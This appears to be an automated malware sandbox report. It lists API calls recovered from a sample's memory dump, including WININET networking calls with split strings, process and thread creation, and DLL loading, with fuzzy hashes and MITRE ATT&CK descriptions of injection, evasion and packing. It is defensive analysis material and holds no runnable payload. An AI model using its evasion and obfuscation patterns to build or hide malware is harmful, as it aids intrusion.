Send, xrefs: 03398971
HttpSendRequestA, xrefs: 0339899E, 033989A9
estA, xrefs: 0339897F
Requ, xrefs: 03398978
Http, xrefs: 0339896A
SendRequestA, xrefs: 033989A2, 033989AA
HttpSendRequestA, xrefs: 0339895D, 03398960
RequestA, xrefs: 033989A6, 033989AB

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: HttpRequestSend
String ID: Http$HttpSendRequestA$HttpSendRequestA$Requ$RequestA$Send$SendRequestA$estA
API String ID: 360639707-2503632690
Opcode ID: db97a3a7caecdf95fe0a304b753d44bd81bfc0f21146fd473aad3fd0d43d0554
Instruction ID: 9e181652c81c7e41fa0ddcd3cf85ae595484fcb034d35f4a0320fdc53e84dff2
Opcode Fuzzy Hash: db97a3a7caecdf95fe0a304b753d44bd81bfc0f21146fd473aad3fd0d43d0554
Instruction Fuzzy Hash: 24014FB2905119AFDB00DF98D8419AFBBBCEB44210F148189FD08AB304D670EE10CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 0339894A, Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 38networkCOMMON

Download Yara Rule

APIs

HttpSendRequestA.WININET(RequestA,SendRequestA,HttpSendRequestA,00000000,?,?,?,?,00000000), ref: 033989AC

Strings

Send, xrefs: 03398971
HttpSendRequestA, xrefs: 0339899E, 033989A9
estA, xrefs: 0339897F
Requ, xrefs: 03398978
Http, xrefs: 0339896A
SendRequestA, xrefs: 033989A2, 033989AA
HttpSendRequestA, xrefs: 0339895D, 03398960
RequestA, xrefs: 033989A6, 033989AB

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: HttpRequestSend
String ID: Http$HttpSendRequestA$HttpSendRequestA$Requ$RequestA$Send$SendRequestA$estA
API String ID: 360639707-2503632690
Opcode ID: 1b09893e203a35f0df401a94eb319cad7e2f38fd732029839df03d55dcd992d0
Instruction ID: 62379cd6b2e3dd495d1b4cda5ea784e29c6e0181dda00ff9eeb7db58b052ebc2
Opcode Fuzzy Hash: 1b09893e203a35f0df401a94eb319cad7e2f38fd732029839df03d55dcd992d0
Instruction Fuzzy Hash: F0011DB2905119AFDB14CF89C981AEFBBB8EF98210F158149FD19AB305C670DE10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 03398850, Relevance: 14.0, APIs: 1, Strings: 7, Instructions: 48networkCOMMON

Download Yara Rule

APIs

InternetConnectA.WININET(ConnectA,rnetConnectA,InternetConnectA,00000000,?,?,?,?,?,?,?,00000000), ref: 033988B8

Strings

InternetConnectA, xrefs: 033988AA, 033988B5
rnet, xrefs: 03398871
Inte, xrefs: 0339886A
ConnectA, xrefs: 033988B2, 033988B7
Conn, xrefs: 03398878
rnetConnectA, xrefs: 033988AE, 033988B6
ectA, xrefs: 0339887F

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: ConnectInternet
String ID: Conn$ConnectA$Inte$InternetConnectA$ectA$rnet$rnetConnectA
API String ID: 3050416762-1024195942
Opcode ID: 5a91d16494d0f57e6db0b04c43c500e05e142fe6b6b4993dc2c2e1d1dc4bd2c0
Instruction ID: 090d146f65cfb0ccb92ed43d88f41f1d0f51f26a3069ba9df078ae82f5614c7e
Opcode Fuzzy Hash: 5a91d16494d0f57e6db0b04c43c500e05e142fe6b6b4993dc2c2e1d1dc4bd2c0
Instruction Fuzzy Hash: 0201EDB2905119AFDB14DF99D941DEF77B9EB88310F154289BE08A7240D630EE10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 03398845, Relevance: 14.0, APIs: 1, Strings: 7, Instructions: 46networkCOMMON

Download Yara Rule

APIs

InternetConnectA.WININET(ConnectA,rnetConnectA,InternetConnectA,00000000,?,?,?,?,?,?,?,00000000), ref: 033988B8

Strings

InternetConnectA, xrefs: 033988AA, 033988B5
rnet, xrefs: 03398871
Inte, xrefs: 0339886A
ConnectA, xrefs: 033988B2, 033988B7
Conn, xrefs: 03398878
rnetConnectA, xrefs: 033988AE, 033988B6
ectA, xrefs: 0339887F

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: ConnectInternet
String ID: Conn$ConnectA$Inte$InternetConnectA$ectA$rnet$rnetConnectA
API String ID: 3050416762-1024195942
Opcode ID: 33bb829ddae348d2c73f3e9620cf1279781a4bf114bb516a9f6b4b93f97eeb49
Instruction ID: 8f10ee2e8717987b04a5c4c02c4755c9f321c57e28a24b7fc62cddbd1d59189c
Opcode Fuzzy Hash: 33bb829ddae348d2c73f3e9620cf1279781a4bf114bb516a9f6b4b93f97eeb49
Instruction Fuzzy Hash: 4F011EB2915159AFDB14DF98D940DEF7BB8AF89310F154188BD19A7241C6309E11CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 033987E0, Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 41networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(rnetOpenA,InternetOpenA,?,?,?), ref: 03398837

Strings

rnetOpenA, xrefs: 03398831, 03398836
Open, xrefs: 03398808
Inte, xrefs: 033987FA
rnet, xrefs: 03398801
InternetOpenA, xrefs: 0339882D, 03398835
A, xrefs: 0339880F

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen
String ID: A$Inte$InternetOpenA$Open$rnet$rnetOpenA
API String ID: 2038078732-3155091674
Opcode ID: a6bd7c6617a6fc903c9a7f07eed257647a49593ccfbd608e88943fc20d551768
Instruction ID: 60e19e933943cb15e09d403a01a2c40ecf9e83500031ca928bad83a30b4853a8
Opcode Fuzzy Hash: a6bd7c6617a6fc903c9a7f07eed257647a49593ccfbd608e88943fc20d551768
Instruction Fuzzy Hash: E7F01DB2901118AF9B14DF98DC419EBB7B8FF48310B04858ABD189B301D630AE10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 033987D8, Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 40networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(rnetOpenA,InternetOpenA,?,?,?), ref: 03398837

Strings

rnetOpenA, xrefs: 03398831, 03398836
Open, xrefs: 03398808
Inte, xrefs: 033987FA
rnet, xrefs: 03398801
InternetOpenA, xrefs: 0339882D, 03398835
A, xrefs: 0339880F

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen
String ID: A$Inte$InternetOpenA$Open$rnet$rnetOpenA
API String ID: 2038078732-3155091674
Opcode ID: 88ec0692dd3c0c8de35c0dadbcc982d64232ecfac58d4faad21f347a891fe395
Instruction ID: 6e28c7d9fd355ea5819cfd22286e0974ecdacc55309a198390d2fece756558eb
Opcode Fuzzy Hash: 88ec0692dd3c0c8de35c0dadbcc982d64232ecfac58d4faad21f347a891fe395
Instruction Fuzzy Hash: 7301E8B2D01119AF9B14DF98DC419EFBBB8FB49350B14854AAE19AB215D231AA108BA1

Uniqueness

Uniqueness Score: -1.00%

Function 03396EE0, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 90sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 03396F88

Strings

wininet.dll, xrefs: 03396F3E, 03396F47
net.dll, xrefs: 03396F51, 03396FD7, 03396FAF, 03396FBB, 03396FE3

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: b0108feb2b4966eb2121a837cf7f2a5ce97501c9d5949827169ee764ad25bdd1
Instruction ID: f917e76228432d79c818b536f935ff4954308bb6714d2ff5363381bff7740486
Opcode Fuzzy Hash: b0108feb2b4966eb2121a837cf7f2a5ce97501c9d5949827169ee764ad25bdd1
Instruction Fuzzy Hash: C53172B6602704EBDB15DF68CCE1FA7B7B8BB48710F04851EF51A5B240D770A545CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 03396ED6, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 84sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000007D0), ref: 03396F88

Strings

wininet.dll, xrefs: 03396F3E, 03396F47
net.dll, xrefs: 03396F51, 03396FAF, 03396FBB

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 80d48e56a11ee8247a919048743aa465c3b8568f478a18728a719f3c4f64a542
Instruction ID: e81084f3bf30737abeb8dd37274664248bf2a16f70f0d5fb3dd639a895286baf
Opcode Fuzzy Hash: 80d48e56a11ee8247a919048743aa465c3b8568f478a18728a719f3c4f64a542
Instruction Fuzzy Hash: 9231BFB6A02304EBDB11DF68CCE1FABB7B8AB48710F04816AF51A5B241D770A455CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 033984CB, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,03383B93), ref: 033984FD

Strings

.z`, xrefs: 033984EC, 033984F8

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: c4c92f34d700edd9b033c660f3bcd8367128ae6e1d3284981bd1258f6deb8122
Instruction ID: 2da8e471a9f0ca78a4ef6b0a1361dd636c81776e237a089bd3e551e5abcacfc6
Opcode Fuzzy Hash: c4c92f34d700edd9b033c660f3bcd8367128ae6e1d3284981bd1258f6deb8122
Instruction Fuzzy Hash: CDE09AB5600204AFDB14DFA8CC48EA777ACEF88750F118559F9089B241CA30E800CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 033984D0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,03383B93), ref: 033984FD

Strings

.z`, xrefs: 033984EC, 033984F8

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: 393658f60a4e6a6f54e3d1f8956f97917212e673074df1197d84362b2413332a
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: 63E01AB5200204ABDB14DF59CC44EA777ACAF88650F014555F9085B241C630E9108AF0

Uniqueness

Uniqueness Score: -1.00%

Function 033984C3, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,03383B93), ref: 033984FD

Strings

.z`, xrefs: 033984EC, 033984F8

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 4281ceea916cdb51e83b4fa6d2e65f2b06a016a2a145b6b7d0f1273402206b24
Instruction ID: 876968e740aa9d9fc51dfb9fd73d01aaf25656c7234bd587d41b569486590698
Opcode Fuzzy Hash: 4281ceea916cdb51e83b4fa6d2e65f2b06a016a2a145b6b7d0f1273402206b24
Instruction Fuzzy Hash: B3E0D8B49002448BEF04EF59D8C44977795BF813143104556E85D4B606C231D8598BB1

Uniqueness

Uniqueness Score: -1.00%

Function 03387260, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 033872BA
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 033872DB

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: d1f81a5a74b8833ae19f4a59f6d76d847310769082f87a4ce5375c6dfbdf0055
Instruction ID: 4c99cbf59d0a351d4eb4c1108111678fdf283d2965c5da9329b2052f03942a8c
Opcode Fuzzy Hash: d1f81a5a74b8833ae19f4a59f6d76d847310769082f87a4ce5375c6dfbdf0055
Instruction Fuzzy Hash: 5C018F35E8032CBAEB21F7949C82FBEB76C6B00A50F150119FF04BE1C1E694690687E5

Uniqueness

Uniqueness Score: -1.00%

Function 03389B10, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 03389B82

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: ef87672b97a0886e10f8764aa3424ab38db9c8552605d50ddf467932449397af
Instruction ID: e0ea4d7330b9b961fbe25431494854a0175ec4d30b04f4cf73f225a9156be24f
Opcode Fuzzy Hash: ef87672b97a0886e10f8764aa3424ab38db9c8552605d50ddf467932449397af
Instruction Fuzzy Hash: B801E1B9D4020DBBEF10EBE4DC81FADB7B89F54608F044295E9099B241F671E754CB91

Uniqueness

Uniqueness Score: -1.00%

Function 03397004, Relevance: 1.5, APIs: 1, Instructions: 44threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,0338CCC0,?,?), ref: 0339704C

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: b47f03fb69adf02458ebb99880aff3377ec947f0c432fdcd3edc019416b3673c
Instruction ID: 54e86c0e670c6d4d8f1acc27c78d89dff70f3c302ad54015c6236a1d710a9695
Opcode Fuzzy Hash: b47f03fb69adf02458ebb99880aff3377ec947f0c432fdcd3edc019416b3673c
Instruction Fuzzy Hash: 8CF0F677641304AAEB30A9599C42F96B398DB85721F14016BF60D9A2C1C2A6A4458694

Uniqueness

Uniqueness Score: -1.00%

Function 0339853E, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 03398594

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 416aecb1a71be0ae90f725af686c270ff2be4f04936ea2c0ebbaeedcd6b6c233
Instruction ID: 083d5762bba0aa2dd795f6b9e43f8c126490672d1ec2585c0fb98c9ac92ed73d
Opcode Fuzzy Hash: 416aecb1a71be0ae90f725af686c270ff2be4f04936ea2c0ebbaeedcd6b6c233
Instruction Fuzzy Hash: 29019DB2210108AFCB58CF99DC80EEB77A9AF8C354F158259FA0DE7250C630E851CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 03398540, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 03398594

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: 4c0e9b93178eb39ca8812661353daec933755f2126c9f0f8cffd20adc7834a91
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: 9701AFB2210208ABCB54DF89DC80EEB77ADAF8C754F158258FA0D97240C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 03397010, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,0338CCC0,?,?), ref: 0339704C

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0fa8115951d60d55d2a6a98552e87cb1761db4f87071d2fe2d9ff9c410ec5f4a
Instruction ID: 97fa0dbc4f530b14aab571f0f1d376972535a5be4e3cab90633e4d4c532fc396
Opcode Fuzzy Hash: 0fa8115951d60d55d2a6a98552e87cb1761db4f87071d2fe2d9ff9c410ec5f4a
Instruction Fuzzy Hash: 26E092777903047AE730A599AC42FE7B39CCB81B70F150026FB0DEB2C0D595F80142A4

Uniqueness

Uniqueness Score: -1.00%

Function 03398630, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0338CF92,0338CF92,?,00000000,?,?), ref: 03398660

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: a2f217945c6dc0c8aeb6b43346795efab10496aaf524af9188f3f3c6cbad8f13
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: B9E01AB5600208ABDB10DF49CC84EE737ADAF89650F018555FA085B241C930E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 03398490, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(03393506,?,03393C7F,03393C7F,?,03393506,?,?,?,?,?,00000000,00000000,?), ref: 033984BD

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction ID: 2dbbadbcde8b9bb6728edca0ef135c99267c10e9907c7124579e64e8f7ba1572
Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction Fuzzy Hash: 10E046B6200308ABDB14EF99CC80EA777ACEF88650F118559FE089B241CA30F910CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 0338D3F8, Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,03387C63,?), ref: 0338D42B

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: c5c0dd3f9a6f9c97a01029cb79da4b4985b547d111fa47077b670f208fcbc885
Instruction ID: 8b33c92a448c30266a023636e560caf5af19647347bf98246691b8b697678a49
Opcode Fuzzy Hash: c5c0dd3f9a6f9c97a01029cb79da4b4985b547d111fa47077b670f208fcbc885
Instruction Fuzzy Hash: B6E0C265790304BEE624FBB09C17F297688AB51300F4940A9E488AA1D3DD18D5118325

Uniqueness

Uniqueness Score: -1.00%

Function 0338D400, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,03387C63,?), ref: 0338D42B

Memory Dump Source

Source File: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, Offset: 03380000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: f4b2d3c80fef4e1ed9234399ccc800ced375e2552eb2fd684dc477add91dcf09
Instruction ID: f33d59be6c3f77f493d0fe09391750b841b8b6a2279843c4b4d4c66a061acc83
Opcode Fuzzy Hash: f4b2d3c80fef4e1ed9234399ccc800ced375e2552eb2fd684dc477add91dcf09
Instruction Fuzzy Hash: 6FD0A7B6B903043BFA10FBA49C43F2673CD9B44A10F494064F948DB3C3DD50F4004161

Uniqueness

Uniqueness Score: -1.00%

Function 0548967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05489694

Memory Dump Source

Source File: 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: true

Associated: 00000005.00000002.902001484.000000000553B000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.902011929.000000000553F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2c7d4d87c10c948031e73108c6bb5e607d843560a232fe72c345793360bca6e8
Instruction ID: ddd3d44b475c38766d1d041f773b5ffa7d49dc48ff04f94995eace2962eb1b8e
Opcode Fuzzy Hash: 2c7d4d87c10c948031e73108c6bb5e607d843560a232fe72c345793360bca6e8
Instruction Fuzzy Hash: CEB092B2D028C5CAEA15E7A04B0CB7B7E21BBD0741F66C0A3E2021791A4778C491F6F6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 054DFDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E054DFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E0548CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E054D5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E054D5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x054dfdda
0x054dfde2
0x054dfde5
0x054dfdec
0x054dfdfa
0x054dfdff
0x054dfe0a
0x054dfe0f
0x054dfe17
0x054dfe1e
0x054dfe19
0x054dfe19
0x054dfe19
0x054dfe20
0x054dfe21
0x054dfe22
0x054dfe25
0x054dfe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 054DFDFA

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 054DFE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 054DFE01

Memory Dump Source

Source File: 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp, Offset: 05420000, based on PE: true

Associated: 00000005.00000002.902001484.000000000553B000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.902011929.000000000553F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: aab9eaf9d8889fc599936e9c85f23162e14f7804ef39bfe189e3e2430f2a153f
Instruction ID: c9b3d7dcd8236a68676ccf12a44308b9ffd66cc933b03ed6bbad19f725ab1482
Opcode Fuzzy Hash: aab9eaf9d8889fc599936e9c85f23162e14f7804ef39bfe189e3e2430f2a153f
Instruction Fuzzy Hash: CCF0F636244201BFD7201A46DC46FB3BB6AEB44730F24431AF628565E1DAA2F82096F0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

